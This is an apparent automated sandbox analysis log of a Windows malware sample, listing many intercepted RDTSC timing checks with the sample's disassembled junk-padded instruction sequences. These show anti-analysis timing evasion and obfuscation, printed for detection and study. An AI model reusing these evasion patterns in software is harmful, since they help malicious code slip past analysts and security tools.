Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D08EC second address: 51D08FA instructions: 0x00000000 rdtsc 0x00000002 mov cl, bh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b mov bx, ax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D08FA second address: 51D090C instructions: 0x00000000 rdtsc 0x00000002 mov eax, 33129F49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, esi 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e mov bh, 85h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D090C second address: 51D0937 instructions: 0x00000000 rdtsc 0x00000002 mov esi, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FC73488207Ah 0x00000011 sub eax, 490CFCC8h 0x00000017 jmp 00007FC73488207Bh 0x0000001c popfd 0x0000001d mov ebx, esi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D0937 second address: 51D095B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 mov di, 44C2h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FC734E5F784h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D095B second address: 51D0973 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 mov edi, 476CC470h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov esi, 2BF98D07h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5180052 second address: 5180058 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5180058 second address: 5180073 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC73488207Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov cx, B173h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5180073 second address: 51800E6 instructions: 0x00000000 rdtsc 0x00000002 call 00007FC734E5F788h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC734E5F77Bh 0x0000000f popad 0x00000010 and esp, FFFFFFF8h 0x00000013 jmp 00007FC734E5F786h 0x00000018 xchg eax, ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c movsx ebx, si 0x0000001f pushfd 0x00000020 jmp 00007FC734E5F786h 0x00000025 sub esi, 6A769D38h 0x0000002b jmp 00007FC734E5F77Bh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51800E6 second address: 5180114 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FC73488207Ah 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5180114 second address: 5180139 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F781h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC734E5F77Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5180139 second address: 51801A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC734882087h 0x00000008 pushfd 0x00000009 jmp 00007FC734882088h 0x0000000e sub ecx, 666CA6B8h 0x00000014 jmp 00007FC73488207Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebx 0x0000001e jmp 00007FC734882086h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FC73488207Eh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51801A9 second address: 51801AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51801AF second address: 51801B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51801B3 second address: 51801C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51801C2 second address: 51801C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51801C6 second address: 51801CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51801CC second address: 5180267 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC73488207Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FC73488207Ch 0x00000013 sub ah, FFFFFFD8h 0x00000016 jmp 00007FC73488207Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007FC734882088h 0x00000022 and ax, B038h 0x00000027 jmp 00007FC73488207Bh 0x0000002c popfd 0x0000002d popad 0x0000002e xchg eax, esi 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FC734882084h 0x00000036 add esi, 3685AA98h 0x0000003c jmp 00007FC73488207Bh 0x00000041 popfd 0x00000042 push esi 0x00000043 movsx edi, si 0x00000046 pop ecx 0x00000047 popad 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007FC73488207Dh 0x00000050 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5180267 second address: 51802D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F781h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b jmp 00007FC734E5F77Ch 0x00000010 call 00007FC734E5F782h 0x00000015 pushfd 0x00000016 jmp 00007FC734E5F782h 0x0000001b jmp 00007FC734E5F785h 0x00000020 popfd 0x00000021 pop ecx 0x00000022 popad 0x00000023 mov esi, dword ptr [ebp+08h] 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51802D0 second address: 51802D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51802D6 second address: 518030D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F77Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007FC734E5F786h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC734E5F77Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 518030D second address: 5180356 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC73488207Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007FC734882086h 0x0000000f test esi, esi 0x00000011 pushad 0x00000012 push esi 0x00000013 mov bl, 10h 0x00000015 pop eax 0x00000016 mov bx, ABAAh 0x0000001a popad 0x0000001b je 00007FC7A662034Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 call 00007FC73488207Ah 0x00000029 pop eax 0x0000002a mov esi, ebx 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5180356 second address: 51803FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 pushad 0x00000011 mov cx, 042Dh 0x00000015 pushfd 0x00000016 jmp 00007FC734E5F77Ah 0x0000001b sbb eax, 16B83CC8h 0x00000021 jmp 00007FC734E5F77Bh 0x00000026 popfd 0x00000027 popad 0x00000028 je 00007FC7A6BFDA18h 0x0000002e jmp 00007FC734E5F786h 0x00000033 mov edx, dword ptr [esi+44h] 0x00000036 jmp 00007FC734E5F780h 0x0000003b or edx, dword ptr [ebp+0Ch] 0x0000003e jmp 00007FC734E5F780h 0x00000043 test edx, 61000000h 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007FC734E5F77Dh 0x00000052 and ah, FFFFFFF6h 0x00000055 jmp 00007FC734E5F781h 0x0000005a popfd 0x0000005b pushad 0x0000005c popad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51803FA second address: 5180446 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882087h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FC7A66202E9h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FC734882084h 0x00000016 sub ecx, 665FF178h 0x0000001c jmp 00007FC73488207Bh 0x00000021 popfd 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5180446 second address: 5180493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC734E5F784h 0x00000009 popad 0x0000000a popad 0x0000000b test byte ptr [esi+48h], 00000001h 0x0000000f jmp 00007FC734E5F780h 0x00000014 jne 00007FC7A6BFD9A3h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FC734E5F787h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5180493 second address: 51804AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC734882084h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51804AB second address: 51804AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51706FD second address: 5170711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC734882080h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170711 second address: 517072F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC734E5F783h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 517072F second address: 5170736 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170736 second address: 51707A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], ebp 0x0000000a jmp 00007FC734E5F787h 0x0000000f mov ebp, esp 0x00000011 jmp 00007FC734E5F786h 0x00000016 and esp, FFFFFFF8h 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c movsx edx, cx 0x0000001f pushfd 0x00000020 jmp 00007FC734E5F786h 0x00000025 sub ax, AC88h 0x0000002a jmp 00007FC734E5F77Bh 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51707A1 second address: 51707C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51707C5 second address: 51707CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51707CB second address: 51707D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51707D1 second address: 51707D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51707D5 second address: 517080F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FC734882084h 0x00000012 jmp 00007FC734882085h 0x00000017 popfd 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 517080F second address: 517081D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC734E5F77Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 517081D second address: 517084C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC73488207Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007FC734882086h 0x00000011 xchg eax, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 517084C second address: 5170850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170850 second address: 517086D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 517086D second address: 517089B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F781h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FC734E5F781h 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 517089B second address: 517089F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 517089F second address: 51708B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F77Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51708B2 second address: 51708B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51708B7 second address: 51708F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c jmp 00007FC734E5F787h 0x00000011 sub ebx, ebx 0x00000013 jmp 00007FC734E5F77Fh 0x00000018 test esi, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov cl, ABh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51708F3 second address: 51708F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51708F9 second address: 51708FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51708FD second address: 5170911 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FC7A6627AFFh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170911 second address: 5170917 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170917 second address: 5170952 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882082h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007FC734882080h 0x00000015 mov ecx, esi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov bx, B2C0h 0x0000001e mov di, 3AECh 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170952 second address: 51709DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 0D97h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FC7A6C051BDh 0x00000010 pushad 0x00000011 call 00007FC734E5F77Fh 0x00000016 mov bx, si 0x00000019 pop eax 0x0000001a pushad 0x0000001b mov dx, E176h 0x0000001f push edi 0x00000020 pop eax 0x00000021 popad 0x00000022 popad 0x00000023 test byte ptr [76FA6968h], 00000002h 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007FC734E5F77Fh 0x00000031 xor eax, 64ED01FEh 0x00000037 jmp 00007FC734E5F789h 0x0000003c popfd 0x0000003d mov esi, 03759647h 0x00000042 popad 0x00000043 jne 00007FC7A6C0516Fh 0x00000049 pushad 0x0000004a mov eax, 5179073Fh 0x0000004f movzx eax, bx 0x00000052 popad 0x00000053 mov edx, dword ptr [ebp+0Ch] 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007FC734E5F77Ah 0x0000005d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51709DC second address: 5170A03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC73488207Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC734882085h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170A03 second address: 5170A48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F781h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FC734E5F781h 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 mov ax, 2383h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FC734E5F786h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170A48 second address: 5170A55 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170A55 second address: 5170A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FC734E5F77Fh 0x0000000a sub si, E98Eh 0x0000000f jmp 00007FC734E5F789h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170A89 second address: 5170AAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC73488207Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170AAD second address: 5170AB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170AB3 second address: 5170AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170AB7 second address: 5170AEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F77Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007FC734E5F77Ah 0x00000015 sub cx, F198h 0x0000001a jmp 00007FC734E5F77Bh 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170AEA second address: 5170B29 instructions: 0x00000000 rdtsc 0x00000002 mov bl, al 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, edx 0x00000008 popad 0x00000009 push dword ptr [ebp+14h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushfd 0x00000012 jmp 00007FC734882086h 0x00000017 jmp 00007FC734882085h 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170B69 second address: 5170BB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b mov cl, 3Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007FC734E5F77Fh 0x00000015 jmp 00007FC734E5F783h 0x0000001a popfd 0x0000001b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170BB0 second address: 5170BF5 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FC734882088h 0x00000008 adc eax, 21024F08h 0x0000000e jmp 00007FC73488207Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FC734882080h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170BF5 second address: 5170BFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170BFB second address: 5170C0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC73488207Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170C0C second address: 5170C10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5180A7B second address: 5180A80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
